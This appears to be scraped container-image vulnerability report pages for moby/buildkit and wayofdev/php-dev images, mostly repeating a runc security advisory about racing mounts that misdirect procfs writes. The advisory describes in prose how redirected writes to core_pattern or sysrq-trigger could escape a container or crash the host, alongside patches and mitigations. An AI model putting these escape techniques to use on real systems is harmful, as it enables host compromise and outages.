utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 ("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

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Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
Vulnerabilities
Pushed	1 month ago
Size	3.8 MB
Packages	20
OS	3.22.2

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Tag	Details	Pushed	Vulnerabilities
3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

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🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.033% EPSS Percentile 5th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.033% EPSS Percentile 5th percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.055% EPSS Percentile 13th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.018% EPSS Percentile 2nd percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 ("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

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Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
Vulnerabilities
Pushed	1 month ago
Size	3.8 MB
Packages	20
OS	3.22.2

The base image is also available under the supported tag(s): 3.22, 3.22.2, latest

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Tag	Details	Pushed	Vulnerabilities
3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

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🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.026% EPSS Percentile 6th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.026% EPSS Percentile 6th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.014% EPSS Percentile 2nd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.014% EPSS Percentile 2nd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.022% EPSS Percentile 5th percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 ("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.018% EPSS Percentile 3rd percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

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Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
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Pushed	1 month ago
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Recommended fixes for image moby/buildkit:buildx-stable-1

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Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
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Pushed	1 month ago
Size	3.8 MB
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3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

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Recommended fixes for image wayofdev/php-dev:latest

Base image is php:8.4-alpine

Name	8.4.15-alpine3.22
Digest	sha256:13069fa0e1d5051c408265677497514a9ef952bff6caea7ed2fae4b79bac5b64
Vulnerabilities
Pushed	1 week ago
Size	41 MB
Packages	60
Flavor	alpine
OS	3.22
Runtime	8.4.15

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8.5-alpine Minor runtime version update Also known as: 8.5.0-cli-alpine 8.5.0-cli-alpine3.22 8.5-cli-alpine 8.5-cli-alpine3.22 8-cli-alpine 8-cli-alpine3.22 cli-alpine cli-alpine3.22 alpine alpine3.22 8.5.0-alpine3.22 8.5-alpine3.22 8-alpine 8-alpine3.22	Benefits: Same OS detected Minor runtime version update Image contains 1 fewer package Image has similar size Image has same number of vulnerabilities Image details: Size: 44 MB Flavor: alpine OS: 3.22 Runtime: 8.5.0	1 week ago

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🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.026% EPSS Percentile 6th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.026% EPSS Percentile 6th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.014% EPSS Percentile 2nd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.014% EPSS Percentile 2nd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.022% EPSS Percentile 5th percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 ("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.018% EPSS Percentile 3rd percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

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Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
Vulnerabilities
Pushed	1 month ago
Size	3.8 MB
Packages	20
OS	3.22.2

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3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

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🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest

digest	sha256:04abdb883b2bdbd12749635c4a3153fb0d0546471d44dbf80a6e84828ee4c06c
vulnerabilities
platform	linux/amd64
size	109 MB
packages	251

📦 Base Image php:8.2-fpm-alpine

also known as	8.2-fpm-alpine3.23 8.2.30-fpm-alpine 8.2.30-fpm-alpine3.23
digest	sha256:c3b2a242e7e61917960f2b13c1669a6fce7816b161fbc1616d0b4d491071c093
vulnerabilities

